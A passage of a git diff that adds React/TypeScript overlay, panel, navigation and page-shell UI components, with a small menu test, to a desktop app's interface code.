+export function OverlayIconButton({ children, className, type = 'button', ...props }: OverlayIconButtonProps) {
+  return (
+    <Button
+      className={cn('text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground', className)}
+      size="icon-titlebar"
+      type={type}
+      variant="ghost"
+      {...props}
+    >
+      {children}
+    </Button>
+  )
+}
diff --git a/ui-desktop/src/app/overlays/overlay-split-layout.tsx b/ui-desktop/src/app/overlays/overlay-split-layout.tsx
new file mode 100644
index 000000000..b4a90dd0f
--- /dev/null
+++ b/ui-desktop/src/app/overlays/overlay-split-layout.tsx
@@ -0,0 +1,224 @@
+import { Fragment, memo, type ReactNode } from 'react'
+
+import { TabDropdown } from '@/components/ui/tab-dropdown'
+import type { IconComponent } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { PAGE_MAX_W } from '../layout-constants'
+
+import { OVERLAY_TOP_CLEARANCE } from './overlay-view'
+
+// The wide rail and the narrow dropdown swap at exactly the width where
+// OverlaySplitLayout drops to a single column, so the rail never stacks.
+const RAIL_HIDDEN = 'max-[47.5rem]:hidden'
+const BAR_HIDDEN = 'hidden max-[47.5rem]:flex'
+
+interface OverlaySplitLayoutProps {
+  children: ReactNode
+  className?: string
+}
+
+interface OverlaySidebarProps {
+  children: ReactNode
+  className?: string
+}
+
+interface OverlayMainProps {
+  children: ReactNode
+  className?: string
+}
+
+interface OverlayNavItemProps {
+  active: boolean
+  icon: IconComponent
+  label: string
+  // Renders as an indented child of another nav item: smaller icon and a
+  // lighter active state so it never competes with the boxed parent item.
+  nested?: boolean
+  onClick: () => void
+  trailing?: ReactNode
+}
+
+export function OverlaySplitLayout({ children, className }: OverlaySplitLayoutProps) {
+  return (
+    <div
+      className={cn(
+        // Narrow: one column, and pin rows to [nav-bar auto | main 1fr] — without
+        // an explicit template the grid's default align-content:stretch splits the
+        // height evenly across the two rows, shoving the content to mid-screen.
+        'grid h-full min-h-0 flex-1 grid-cols-[13rem_minmax(0,1fr)] overflow-hidden bg-transparent max-[47.5rem]:grid-cols-1 max-[47.5rem]:grid-rows-[auto_minmax(0,1fr)]',
+        className
+      )}
+    >
+      {children}
+    </div>
+  )
+}
+
+export function OverlaySidebar({ children, className }: OverlaySidebarProps) {
+  return (
+    <aside
+      className={cn(
+        // The left links sit beside (not under) the floating close button, so
+        // they ride up via the shorter shared OVERLAY_TOP_CLEARANCE (same line
+        // as a Panel header) instead of main's taller X-clearance. The bg still
+        // fills from the card's top edge, so there's no gap above the sidebar.
+        'flex min-h-0 flex-col gap-0.5 overflow-y-auto bg-(--ui-sidebar-surface-background) px-2.5 pb-3',
+        OVERLAY_TOP_CLEARANCE,
+        className
+      )}
+    >
+      {children}
+    </aside>
+  )
+}
+
+export function OverlayMain({ children, className }: OverlayMainProps) {
+  return (
+    <main
+      className={cn(
+        // Main sits UNDER the floating close button (top-right), so it keeps the
+        // taller top pad to clear the X — unlike the sidebar / Panel header,
+        // which sit to its left and ride up via OVERLAY_TOP_CLEARANCE. All four
+        // paddings are 1/3 tighter than the raw values (×2/3): the wide/narrow
+        // top clearance, the bottom gutter, and the horizontal clamp gutter
+        // (inlined from PAGE_INSET_X so only overlay panes tighten, not the
+        // shared page gutter). Narrow top drops toward the OverlayNav bar.
+        'mx-auto flex min-h-0 w-full flex-1 flex-col overflow-hidden bg-transparent pb-2 pt-[calc((var(--titlebar-height)/2+1rem)*2/3)] max-[47.5rem]:pt-[calc(0.5rem*2/3)] px-[clamp(0.8333rem,2.6667vw,2.6667rem)]',
+        PAGE_MAX_W,
+        className
+      )}
+    >
+      {children}
+    </main>
+  )
+}
+
+export const OverlayNavItem = memo(function OverlayNavItem({
+  active,
+  icon: Icon,
+  label,
+  nested,
+  onClick,
+  trailing
+}: OverlayNavItemProps) {
+  return (
+    <button
+      className={cn(
+        'flex h-7 w-full items-center justify-start gap-2 rounded-md border px-2 text-left text-[length:var(--conversation-text-font-size)] font-normal transition-colors',
+        nested
+          ? active
+            ? 'border-transparent bg-(--chrome-action-hover) font-medium text-foreground'
+            : 'border-transparent bg-transparent text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+          : active
+            ? 'border-(--ui-stroke-tertiary) bg-(--ui-bg-tertiary) text-foreground'
+            : 'border-transparent bg-transparent text-(--ui-text-secondary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+      )}
+      onClick={onClick}
+      type="button"
+    >
+      <Icon
+        className={cn(
+          'shrink-0',
+          nested ? 'size-3.5' : 'size-4',
+          active ? 'text-foreground/80' : 'text-muted-foreground/80'
+        )}
+      />
+      <span className="min-w-0 flex-1 truncate">{label}</span>
+      {trailing}
+    </button>
+  )
+})
+
+export interface OverlayNavLink {
+  active: boolean
+  icon: IconComponent
+  id: string
+  label: string
+  onSelect: () => void
+}
+
+export interface OverlayNavGroup extends OverlayNavLink {
+  /** Sub-links: expanded under the active group on the rail, always listed
+   *  (flattened + indented) in the narrow dropdown. */
+  children?: OverlayNavLink[]
+  /** Visual break before this group — a spacer on the rail, a separator in
+   *  the dropdown. */
+  gapBefore?: boolean
+}
+
+// Data-driven pane nav: one model renders a persistent left rail on wide
+// viewports and a single dropdown bar on narrow ones (matching the tab
+// dropdown in PageSearchShell), so every OverlaySplitLayout pane degrades the
+// same way instead of stacking its whole sidebar. Drop it in as the first
+// child of an OverlaySplitLayout, before OverlayMain.
+export function OverlayNav({ footer, groups }: { footer?: ReactNode; groups: OverlayNavGroup[] }) {
+  return (
+    <>
+      <OverlaySidebar className={RAIL_HIDDEN}>
+        {groups.map(group => (
+          <Fragment key={group.id}>
+            {group.gapBefore && <div aria-hidden className="h-2" />}
+            <OverlayNavItem active={group.active} icon={group.icon} label={group.label} onClick={group.onSelect} />
+            {group.children && group.active && (
+              <div className="ml-3.5 flex flex-col gap-0.5 pl-1.5">
+                {group.children.map(child => (
+                  <OverlayNavItem
+                    active={child.active}
+                    icon={child.icon}
+                    key={child.id}
+                    label={child.label}
+                    nested
+                    onClick={child.onSelect}
+                  />
+                ))}
+              </div>
+            )}
+          </Fragment>
+        ))}
+        {footer && <div className="mt-auto flex items-center gap-1 pt-2">{footer}</div>}
+      </OverlaySidebar>
+
+      {/* Narrow: ride the OverlayView titlebar strip so the dropdown shares the
+          close button's row instead of taking its own. The bar is
+          pointer-events-none (children opt back in) so the floating X underneath
+          stays clickable; pr clears it, no-drag beats the strip's drag region,
+          and the height matches the strip so the trigger lines up with the X. */}
+      <div
+        className={cn(
+          'pointer-events-none relative z-20 h-[calc(var(--titlebar-height)+0.1875rem)] items-center justify-between gap-2 pl-3 pr-12',
+          BAR_HIDDEN
+        )}
+      >
+        <div className="pointer-events-auto min-w-0 [-webkit-app-region:no-drag]">
+          <TabDropdown
+            align="start"
+            items={groups.flatMap(group => [
+              {
+                active: group.active && !group.children?.some(child => child.active),
+                icon: group.icon,
+                id: group.id,
+                label: group.label,
+                onSelect: group.onSelect,
+                separatorBefore: group.gapBefore
+              },
+              ...(group.children ?? []).map(child => ({
+                active: child.active,
+                icon: child.icon,
+                id: child.id,
+                indent: true,
+                label: child.label,
+                onSelect: child.onSelect
+              }))
+            ])}
+          />
+        </div>
+        {footer && (
+          <div className="pointer-events-auto flex shrink-0 items-center gap-1 [-webkit-app-region:no-drag]">
+            {footer}
+          </div>
+        )}
+      </div>
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/overlays/overlay-view.tsx b/ui-desktop/src/app/overlays/overlay-view.tsx
new file mode 100644
index 000000000..812a07a12
--- /dev/null
+++ b/ui-desktop/src/app/overlays/overlay-view.tsx
@@ -0,0 +1,127 @@
+import { type CSSProperties, type ReactNode, useEffect } from 'react'
+
+import { TITLEBAR_HEIGHT } from '@/app/shell/titlebar'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { translateNow } from '@/i18n'
+import { ESCAPE_PRIORITY, isTopEscapeLayer, pushEscapeLayer } from '@/lib/escape-layers'
+import { triggerHaptic } from '@/lib/haptics'
+import { cn } from '@/lib/utils'
+
+// Shared top clearance for overlay content that sits *beside* the floating
+// close button (which is absolute at `0.1875rem + titlebar/2`, -translate-y-1/2,
+// so it costs no layout space): a Panel's header and the split layout's left
+// sidebar links. They ride up next to the X on the same line across every
+// overlay (settings, system, agents, cron, …) — change it here, not per-surface.
+// Main content sits *under* the X (top-right) and keeps its own taller pad.
+export const OVERLAY_TOP_CLEARANCE = 'pt-[calc(var(--titlebar-height)/2-0.4375rem)]'
+
+interface OverlayViewProps {
+  children: ReactNode
+  onClose: () => void
+  closeLabel?: string
+  contentClassName?: string
+  headerContent?: ReactNode
+  rootClassName?: string
+}
+
+export function OverlayView({
+  children,
+  onClose,
+  closeLabel = translateNow('common.close'),
+  contentClassName,
+  headerContent,
+  rootClassName
+}: OverlayViewProps) {
+  const closeOverlay = () => {
+    triggerHaptic('close')
+    onClose()
+  }
+
+  // Esc dismisses every OverlayView-based overlay. Nested Radix dialogs
+  // stop propagation themselves, so opening (e.g.) the model picker inside
+  // Settings still closes the picker first instead of the underlying overlay.
+  useEffect(() => {
+    const releaseLayer = pushEscapeLayer(ESCAPE_PRIORITY.overlay)
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (event.key !== 'Escape' || event.defaultPrevented || !isTopEscapeLayer(ESCAPE_PRIORITY.overlay)) {
+        return
+      }
+
+      event.preventDefault()
+      triggerHaptic('close')
+      onClose()
+    }
+
+    window.addEventListener('keydown', onKeyDown)
+
+    return () => {
+      window.removeEventListener('keydown', onKeyDown)
+      releaseLayer()
+    }
+  }, [onClose])
+
+  return (
+    <div
+      className={cn(
+        'fixed inset-0 z-50 bg-black/22 backdrop-blur-[0.125rem]',
+        // Equidistant inset on every side. The top value is driven by the
+        // titlebar height so the card clears the OS traffic-lights vertically;
+        // since the card top already sits below them, the left needs no extra
+        // inset — keeping all sides equal so the card is ~full-width at any size.
+        'p-[calc(var(--titlebar-height)+0.625rem)]',
+        'sm:p-[calc(var(--titlebar-height)+0.875rem)]'
+      )}
+      // Every OverlayView-based overlay (settings, command-center, agents, cron,
+      // profiles, star map, …) covers the chat while the composer stays mounted
+      // beneath it. This marker tells `composerFocusBlockedBySurface` to stand
+      // the global type-to-focus / soft `/` / Enter down, so keystrokes don't
+      // leak into the hidden composer (and the overlay's own bare-key shortcuts,
+      // e.g. star map's Space, keep working).
+      data-overlay-surface=""
+      onClick={event => {
+        if (event.target === event.currentTarget) {
+          closeOverlay()
+        }
+      }}
+      role="presentation"
+      // Window-level chrome: overlays always clear the real titlebar. The
+      // contrib shell zeroes --titlebar-height for CONTENT areas (panes sit
+      // below its in-flow title bar), and CSS vars inherit through the DOM —
+      // so a fixed overlay mounted inside a zone would read 0 and bleed to
+      // the edges. Re-pin the real height at the overlay root.
+      style={{ '--titlebar-height': `${TITLEBAR_HEIGHT}px` } as CSSProperties}
+    >
+      <div
+        className={cn(
+          'relative flex h-full min-h-0 flex-col overflow-hidden rounded-xl border border-(--ui-stroke-secondary) bg-(--ui-chat-surface-background) shadow-md',
+          rootClassName
+        )}
+      >
+        <div className="pointer-events-none absolute inset-x-0 top-0 z-10 h-[calc(var(--titlebar-height)+0.1875rem)] [-webkit-app-region:drag]">
+          {headerContent && (
+            <div className="pointer-events-auto absolute left-1/2 top-[calc(0.5rem+var(--titlebar-height)/2)] -translate-x-1/2 -translate-y-1/2 [-webkit-app-region:no-drag]">
+              {headerContent}
+            </div>
+          )}
+
+          <Button
+            aria-label={closeLabel}
+            className="pointer-events-auto absolute right-3 top-[calc(0.1875rem+var(--titlebar-height)/2)] -translate-y-1/2 text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground [-webkit-app-region:no-drag]"
+            onClick={closeOverlay}
+            size="icon-titlebar"
+            variant="ghost"
+          >
+            <Codicon name="close" size="1rem" />
+          </Button>
+        </div>
+
+        {/* No top padding here: the split-layout columns own their own
+            titlebar clearance so their backgrounds run flush to the card top
+            (otherwise the card surface shows as a gap above the sidebar). */}
+        <div className={cn('min-h-0 flex flex-1 flex-col', contentClassName)}>{children}</div>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/overlays/panel.test.tsx b/ui-desktop/src/app/overlays/panel.test.tsx
new file mode 100644
index 000000000..1fb7e167b
--- /dev/null
+++ b/ui-desktop/src/app/overlays/panel.test.tsx
@@ -0,0 +1,32 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+
+import { PanelRowMenu } from './panel'
+
+beforeAll(() => {
+  Element.prototype.hasPointerCapture ??= () => false
+  Element.prototype.releasePointerCapture ??= () => undefined
+  Element.prototype.setPointerCapture ??= () => undefined
+  HTMLElement.prototype.scrollIntoView ??= () => undefined
+})
+
+describe('PanelRowMenu', () => {
+  afterEach(() => {
+    cleanup()
+  })
+
+  it('opens its actions menu from the kebab without a tooltip', async () => {
+    const onSelect = vi.fn()
+
+    render(<PanelRowMenu items={[{ label: 'Rename', onSelect }]} />)
+
+    const trigger = screen.getByRole('button', { name: 'Actions' })
+
+    expect(trigger.closest('[data-slot="tooltip-trigger"]')).toBeNull()
+
+    fireEvent.pointerDown(trigger, { button: 0, ctrlKey: false, pointerType: 'mouse' })
+    fireEvent.click(await screen.findByRole('menuitem', { name: 'Rename' }))
+
+    expect(onSelect).toHaveBeenCalledOnce()
+  })
+})
diff --git a/ui-desktop/src/app/overlays/panel.tsx b/ui-desktop/src/app/overlays/panel.tsx
new file mode 100644
index 000000000..6968544ba
--- /dev/null
+++ b/ui-desktop/src/app/overlays/panel.tsx
@@ -0,0 +1,430 @@
+import type { ReactNode } from 'react'
+
+import { ActionsContextMenu, ActionsMenu, type MenuKit, renderActionItem } from '@/components/ui/actions-menu'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { RowButton } from '@/components/ui/row-button'
+import { SearchField } from '@/components/ui/search-field'
+import { Tip } from '@/components/ui/tooltip'
+import { translateNow } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+import { OVERLAY_TOP_CLEARANCE, OverlayView } from './overlay-view'
+
+// Overlay "panel" primitive — the centered, capped card + framed chrome lifted
+// straight from the trace / agents overlay so every non-settings overlay (cron,
+// profiles, …) speaks the same visual language: tight type scale, muted
+// opacities, NO container borders (rows separate via the row-hover/active bg
+// vars + gaps, exactly like the trace waterfall labels).
+//
+// Compose it as:
+//   <Panel onClose>
+//     <PanelHeader title subtitle actions={…} />
+//     <PanelBody>                 // master/detail row
+//       <PanelList>…</PanelList>
+//       <PanelDetail>…</PanelDetail>
+//     </PanelBody>
+//   </Panel>
+//
+// Single-column views drop their content straight after the header.
+
+interface PanelProps {
+  children: ReactNode
+  // Root layout override (the card already fills the equidistant inset).
+  className?: string
+  closeLabel?: string
+  contentClassName?: string
+  onClose: () => void
+}
+
+export function Panel({
+  children,
+  className,
+  closeLabel = translateNow('common.close'),
+  contentClassName,
+  onClose
+}: PanelProps) {
+  return (
+    <OverlayView
+      closeLabel={closeLabel}
+      // Header title rides up next to the floating close button — see
+      // OVERLAY_TOP_CLEARANCE, the shared clearance every overlay column uses.
+      contentClassName={cn('flex h-full min-h-0 flex-col px-4 pb-4 sm:px-5', OVERLAY_TOP_CLEARANCE, contentClassName)}
+      onClose={onClose}
+      rootClassName={cn('flex h-full w-full flex-col', className)}
+    >
+      {children}
+    </OverlayView>
+  )
+}
+
+interface PanelHeaderProps {
+  // Right-aligned controls (search, "+ New", segmented control, …).
+  actions?: ReactNode
+  subtitle?: ReactNode
+  title: ReactNode
+}
+
+export function PanelHeader({ actions, subtitle, title }: PanelHeaderProps) {
+  return (
+    // The overlay's close (X) is absolutely positioned at right-3 and costs no
+    // layout space, so header actions would otherwise slide right up against it.
+    // Reserve clearance (button footprint from the card edge + a small gap) on
+    // the right whenever actions are present.
+    <header className={cn('mb-3 flex shrink-0 items-start justify-between gap-3', actions ? 'pr-8' : undefined)}>
+      <div className="min-w-0">
+        <h2 className="text-sm font-semibold text-foreground">{title}</h2>
+        {subtitle ? <p className="truncate text-xs text-muted-foreground/80">{subtitle}</p> : null}
+      </div>
+      {actions ? <div className="flex shrink-0 items-center gap-1.5">{actions}</div> : null}
+    </header>
+  )
+}
+
+export function PanelBody({ children, className }: { children: ReactNode; className?: string }) {
+  return (
+    <div
+      className={cn(
+        // Side-by-side master/detail on a wide card; once it narrows (same
+        // threshold the other overlays collapse at) stack the list above the
+        // detail so the detail keeps full width instead of being squished.
+        'flex min-h-0 flex-1 flex-col gap-4 overflow-hidden min-[47.5rem]:flex-row min-[47.5rem]:gap-5',
+        className
+      )}
+    >
+      {children}
+    </div>
+  )
+}
+
+interface PanelListProps {
+  children: ReactNode
+  className?: string
+  // Pass an onSearchChange to bake a full-bleed filter field in above the items
+  // (pinned; the rows scroll under it). Controlled via searchValue.
+  onSearchChange?: (value: string) => void
+  searchLabel?: string
+  searchPlaceholder?: string
+  /** Data-derived rotating placeholder nudges (see SearchField.hints). */
+  searchHints?: string[]
+  searchValue?: string
+}
+
+// Left master list. Dense + borderless, like the trace waterfall's label tree:
+// single-line rows that touch, separated from the detail only by the body gap.
+// An optional search field pins to the top, full-bleed, above the scroll.
+export function PanelList({
+  children,
+  className,
+  onSearchChange,
+  searchLabel,
+  searchPlaceholder,
+  searchHints,
+  searchValue
+}: PanelListProps) {
+  return (
+    // Full-width and height-capped when stacked (narrow); a fixed 13rem rail
+    // beside the detail when wide.
+    <div className={cn('flex w-full shrink-0 flex-col max-[47.5rem]:max-h-[40%] min-[47.5rem]:w-52', className)}>
+      {onSearchChange ? (
+        <SearchField
+          aria-label={searchLabel ?? searchPlaceholder ?? ''}
+          containerClassName="mb-1 w-full shrink-0"
+          hints={searchHints}
+          onChange={onSearchChange}
+          placeholder={searchPlaceholder ?? ''}
+          value={searchValue ?? ''}
+        />
+      ) : null}
+      <div className="flex min-h-0 flex-1 flex-col overflow-y-auto overscroll-contain">{children}</div>
+    </div>
+  )
+}
+
+interface PanelListRowProps {
+  active: boolean
+  // Leading status dot color class (e.g. 'bg-emerald-500'); omit for none.
+  dotClassName?: string
+  // Leading codicon glyph name (used when there's no lead/dot).
+  icon?: string
+  // Custom leading element (colored swatch, avatar, …). Wins over dot/icon.
+  lead?: ReactNode
+  // Per-row actions. Pass `menuItems` to get BOTH the hover kebab and a matching
+  // right-click menu from one array (preferred). `menu` takes a raw node for the
+  // rare custom trigger; it gets no right-click parity.
+  menu?: ReactNode
+  menuItems?: PanelMenuItem[]
+  // aria/tooltip label for the kebab + right-click menu built from `menuItems`.
+  menuLabel?: string
+  // Short always-visible trailing meta (a tag/time, like the trace label's duration).
+  meta?: ReactNode
+  onSelect: () => void
+  rowKey?: string
+  title: ReactNode
+}
+
+// A row is a container (not a <button>) so it can host both the select target
+// and a kebab menu without nesting interactive elements. Hover/active bg lives
+// on the wrapper so the whole row highlights as one. When `menuItems` is passed,
+// the whole row also answers right-click with the same actions as its kebab.
+export function PanelListRow({
+  active,
+  dotClassName,
+  icon,
+  lead,
+  menu,
+  menuItems,
+  menuLabel,
+  meta,
+  onSelect,
+  rowKey,
+  title
+}: PanelListRowProps) {
+  const row = (
+    <div
+      className={cn(
+        'group/row row-hover relative flex h-7 w-full items-center rounded-md text-[0.78rem] hover:text-foreground',
+        active ? 'bg-(--ui-row-active-background) text-foreground' : 'text-(--ui-text-secondary)'
+      )}
+      data-panel-row={rowKey}
+    >
+      <RowButton
+        className="flex h-full min-w-0 flex-1 items-center gap-2 rounded-md pl-2 pr-1 text-left"
+        onClick={onSelect}
+      >
+        {lead ??
+          (dotClassName ? (
+            <span aria-hidden="true" className={cn('size-1.5 shrink-0 rounded-full', dotClassName)} />
+          ) : icon ? (
+            <Codicon className="shrink-0 text-muted-foreground/55" name={icon} size="0.85rem" />
+          ) : null)}
+        <span className="min-w-0 flex-1 truncate font-medium text-foreground/85">{title}</span>
+      </RowButton>
+      {meta ? <span className="shrink-0 pr-2 text-[0.62rem] tabular-nums text-muted-foreground/45">{meta}</span> : null}
+      {menuItems ? (
+        <div className="shrink-0 pr-1">
+          <PanelRowMenu items={menuItems} label={menuLabel} />
+        </div>
+      ) : menu ? (
+        <div className="shrink-0 pr-1">{menu}</div>
+      ) : null}
+    </div>
+  )
+
+  // Right-click parity: same items as the kebab. `disabled` (no actionable
+  // items) renders the row bare.
+  return menuItems ? (
+    <ActionsContextMenu
+      ariaLabel={menuLabel}
+      contentClassName="w-40"
+      disabled={menuItems.length === 0}
+      items={renderPanelMenuItems(menuItems)}
+    >
+      {row}
+    </ActionsContextMenu>
+  ) : (
+    row
+  )
+}
+
+export interface PanelMenuItem {
+  disabled?: boolean
+  icon?: string
+  label: string
+  onSelect: () => void
+  tone?: 'danger' | 'default'
+}
+
+// Bridge PanelMenuItem[] → the shared actions-menu render fn, so a panel row's
+// kebab and its right-click menu render from one source.
+function renderPanelMenuItems(items: PanelMenuItem[]) {
+  return (kit: MenuKit) =>
+    items.map(item =>
+      renderActionItem(kit, {
+        disabled: item.disabled,
+        icon: item.icon,
+        key: item.label,
+        label: item.label,
+        onSelect: item.onSelect,
+        variant: item.tone === 'danger' ? 'destructive' : 'default'
+      })
+    )
+}
+
+// Per-row "⋮" actions menu — mirrors the sidebar session row's settled pattern
+// (size-5 ghost trigger + kebab-vertical codicon + w-40 content). Hidden until
+// the row is hovered/focused (or the menu is open). Returns null with no items
+// (e.g. the default profile, which can't be renamed/deleted).
+export function PanelRowMenu({ items, label = 'Actions' }: { items: PanelMenuItem[]; label?: string }) {
+  if (items.length === 0) {
+    return null
+  }
+
+  return (
+    <ActionsMenu ariaLabel={label} contentClassName="w-40" items={renderPanelMenuItems(items)}>
+      <Button
+        aria-label={label}
+        className="size-5 rounded-[4px] bg-transparent text-(--ui-text-tertiary) opacity-0 transition-colors duration-100 hover:bg-(--ui-control-active-background) hover:text-foreground focus-visible:opacity-100 focus-visible:ring-0 group-hover/row:opacity-100 data-[state=open]:bg-(--ui-control-active-background) data-[state=open]:text-foreground data-[state=open]:opacity-100 [&_svg]:size-3.5!"
+        size="icon"
+        variant="ghost"
+      >
+        <Codicon name="kebab-vertical" size="0.875rem" />
+      </Button>
+    </ActionsMenu>
+  )
+}
+
+// Scrolling detail region. Fills the column (no right rail here, unlike the
+// trace inspector), so the content stretches the full available width.
+export function PanelDetail({ children, className }: { children: ReactNode; className?: string }) {
+  return (
+    <div className={cn('min-h-0 flex-1 overflow-y-auto overscroll-contain', className)}>
+      <div className="space-y-4 pb-6 pl-1 pr-2">{children}</div>
+    </div>
+  )
+}
+
+interface PanelEmptyProps {
+  action?: ReactNode
+  description?: ReactNode
+  // Codicon glyph name (e.g. 'hubot', 'warning', 'loading~spin').
+  icon?: string
+  title?: ReactNode
+}
+
+export function PanelEmpty({ action, description, icon = 'inbox', title }: PanelEmptyProps) {
+  return (
+    <div className="grid flex-1 place-items-center px-6 py-10 text-center">
+      <div className="flex flex-col items-center gap-2">
+        <Codicon className="text-muted-foreground/50" name={icon} size="1.25rem" />
+        {title ? <p className="text-sm font-medium text-foreground/90">{title}</p> : null}
+        {description ? (
+          <p className="max-w-sm text-xs leading-relaxed text-muted-foreground/70">{description}</p>
+        ) : null}
+        {action ? <div className="mt-2">{action}</div> : null}
+      </div>
+    </div>
+  )
+}
+
+export function PanelSectionLabel({ children, className }: { children: ReactNode; className?: string }) {
+  return (
+    <div className={cn('text-[0.6rem] font-medium uppercase tracking-wider text-muted-foreground/50', className)}>
+      {children}
+    </div>
+  )
+}
+
+// Inspector-style key/value grid (mirrors the trace span inspector's <dl>).
+export interface PanelMetaRow {
+  label: ReactNode
+  value: ReactNode
+}
+
+export function PanelMeta({ className, rows }: { className?: string; rows: PanelMetaRow[] }) {
+  return (
+    <dl className={cn('grid grid-cols-[5rem_1fr] gap-x-2 gap-y-1 text-[0.7rem]', className)}>
+      {rows.map((row, i) => (
+        <div className="contents" key={typeof row.label === 'string' ? row.label : i}>
+          <dt className="truncate text-muted-foreground/55">{row.label}</dt>
+          <dd className="min-w-0 break-words text-foreground/85">{row.value}</dd>
+        </div>
+      ))}
+    </dl>
+  )
+}
+
+// Monospace content block (job prompt, etc.) — mirrors the inspector's
+// input/output <pre> blocks: subtle bg, no border.
+export function PanelBlock({ children, className }: { children: ReactNode; className?: string }) {
+  return (
+    <pre
+      className={cn(
+        'max-h-48 overflow-auto whitespace-pre-wrap break-words rounded bg-foreground/5 p-2.5 text-[0.68rem] leading-relaxed text-foreground/80',
+        className
+      )}
+    >
+      {children}
+    </pre>
+  )
+}
+
+export type PanelPillTone = 'bad' | 'good' | 'muted' | 'warn'
+
+const PILL_TONE: Record<PanelPillTone, string> = {
+  bad: 'bg-destructive/10 text-destructive',
+  good: 'bg-primary/10 text-primary',
+  muted: 'bg-foreground/10 text-muted-foreground',
+  warn: 'bg-amber-500/10 text-amber-600 dark:text-amber-300'
+}
+
+export function PanelPill({ children, tone = 'muted' }: { children: ReactNode; tone?: PanelPillTone }) {
+  return (
+    <span
+      className={cn(
+        'inline-flex items-center rounded-full px-1.5 py-0.5 text-[0.62rem] font-medium capitalize',
+        PILL_TONE[tone]
+      )}
+    >
+      {children}
+    </span>
+  )
+}
+
+// Self-describing centered "+" that sits as the LAST item in a PanelList. The
+// label rides aria/title only — no visible text.
+export function PanelAddButton({
+  icon = 'add',
+  label,
+  onClick
+}: {
+  icon?: string
+  label: string
+  onClick: () => void
+}) {
+  return (
+    <Tip label={label}>
+      <Button
+        aria-label={label}
+        className="h-7 w-full shrink-0 justify-center text-muted-foreground/70 hover:bg-(--ui-row-hover-background) hover:text-foreground"
+        onClick={onClick}
+        size="sm"
+        variant="ghost"
+      >
+        <Codicon name={icon} size="0.875rem" />
+      </Button>
+    </Tip>
+  )
+}
+
+// Visible action for a detail header (cron pause/resume/trigger, …). Ghost by
+// default; `primary` promotes the header's main action to a filled button.
+export function PanelAction({
+  children,
+  disabled,
+  icon,
+  onClick,
+  primary
+}: {
+  children: ReactNode
+  disabled?: boolean
+  icon: string
+  onClick: () => void
+  primary?: boolean
+}) {
+  return (
+    <Button
+      className={cn(
+        'gap-1.5',
+        !primary && 'text-muted-foreground hover:bg-(--ui-row-hover-background) hover:text-foreground'
+      )}
+      disabled={disabled}
+      onClick={onClick}
+      size="sm"
+      variant={primary ? 'default' : 'ghost'}
+    >
+      <Codicon name={icon} size="0.875rem" />
+      {children}
+    </Button>
+  )
+}
diff --git a/ui-desktop/src/app/page-search-shell.tsx b/ui-desktop/src/app/page-search-shell.tsx
new file mode 100644
index 000000000..b94f28114
--- /dev/null
+++ b/ui-desktop/src/app/page-search-shell.tsx
@@ -0,0 +1,115 @@
+import type { ReactNode } from 'react'
+
+import { SearchField } from '@/components/ui/search-field'
+import { ResponsiveTabs } from '@/components/ui/tab-dropdown'
+import { cn } from '@/lib/utils'
+
+// Tabs are data, not nodes: the shell owns their presentation so every page
+// gets the same behavior — a centered TextTab row on wide viewports that
+// collapses into a dropdown when the header can't fit both search and tabs.
+export interface PageShellTab {
+  id: string
+  label: string
+  /** Count badge. `null` = still loading (renders a skeleton); `undefined` = no badge. */
+  meta?: string | number | null
+}
+
+interface PageSearchShellProps extends React.ComponentProps<'section'> {
+  children: ReactNode
+  tabs?: PageShellTab[]
+  activeTab?: string
+  onTabChange?: (id: string) => void
+  /** Secondary filters shown full-width on their own row below (expands). */
+  filters?: ReactNode
+  onSearchChange: (value: string) => void
+  searchPlaceholder: string
+  /** Data-derived rotating placeholder nudges (see SearchField.hints). */
+  searchHints?: string[]
+  searchValue: string
+  /** Hide the search field when there's nothing to search (empty dataset). */
+  searchHidden?: boolean
+  /** Right-aligned control in the header's trailing cell (e.g. a refresh button)
+   *  so mouse users get a visible affordance for the refresh hotkey. */
+  searchTrailingAction?: ReactNode
+}
+
+function ShellTabs({
+  tabs,
+  activeTab,
+  onTabChange
+}: {
+  tabs: PageShellTab[]
+  activeTab?: string
+  onTabChange?: (id: string) => void
+}) {
+  return (
+    <ResponsiveTabs
+      onChange={id => onTabChange?.(id)}
+      tabs={tabs}
+      value={activeTab ?? tabs[0]?.id ?? ''}
+      wideClassName="justify-center"
+    />
+  )
+}
+
+export function PageSearchShell({
+  children,
+  className,
+  tabs,
+  activeTab,
+  onTabChange,
+  filters,
+  onSearchChange,
+  searchPlaceholder,
+  searchHints,
+  searchValue,
+  searchHidden = false,
+  searchTrailingAction,
+  ...props
+}: PageSearchShellProps) {
+  const hasTabs = (tabs?.length ?? 0) > 0
+
+  return (
+    <section
+      {...props}
+      className={cn('flex h-full min-w-0 flex-col overflow-hidden bg-(--ui-chat-surface-background)', className)}
+    >
+      {/*
+        Header lives in the page body, below the window chrome (the shell floats
+        traffic lights over the top titlebar-height strip, which the `pt` clears
+        and leaves draggable). Search left, tabs centered on the page via the
+        1fr/auto/1fr grid; the trailing 1fr keeps the center honest.
+      */}
+      {/*
+        IMPORTANT: do NOT put `-webkit-app-region: drag` on this header. It spans
+        full width over the band where the floating titlebar icon clusters live,
+        and an overlapping OS drag region eats their clicks at the compositor
+        level (pointer-events / no-drag carve-outs across separate stacking
+        contexts don't reliably fix it on macOS). The shell already supplies a
+        draggable titlebar strip that is `calc()`'d around the icon clusters
+        (see app-shell.tsx), so window dragging still works here.
+      */}
+      <div className="shrink-0">
+        {(hasTabs || !searchHidden) && (
+          <div className="grid grid-cols-[minmax(0,1fr)_auto_minmax(0,1fr)] items-center gap-3 px-3 pb-2 pt-[calc(var(--titlebar-height)+0.5rem)]">
+            <div className="flex min-w-0 items-center justify-start">
+              {!searchHidden && (
+                <SearchField
+                  containerClassName="max-w-[45vw]"
+                  hints={searchHints}
+                  onChange={onSearchChange}
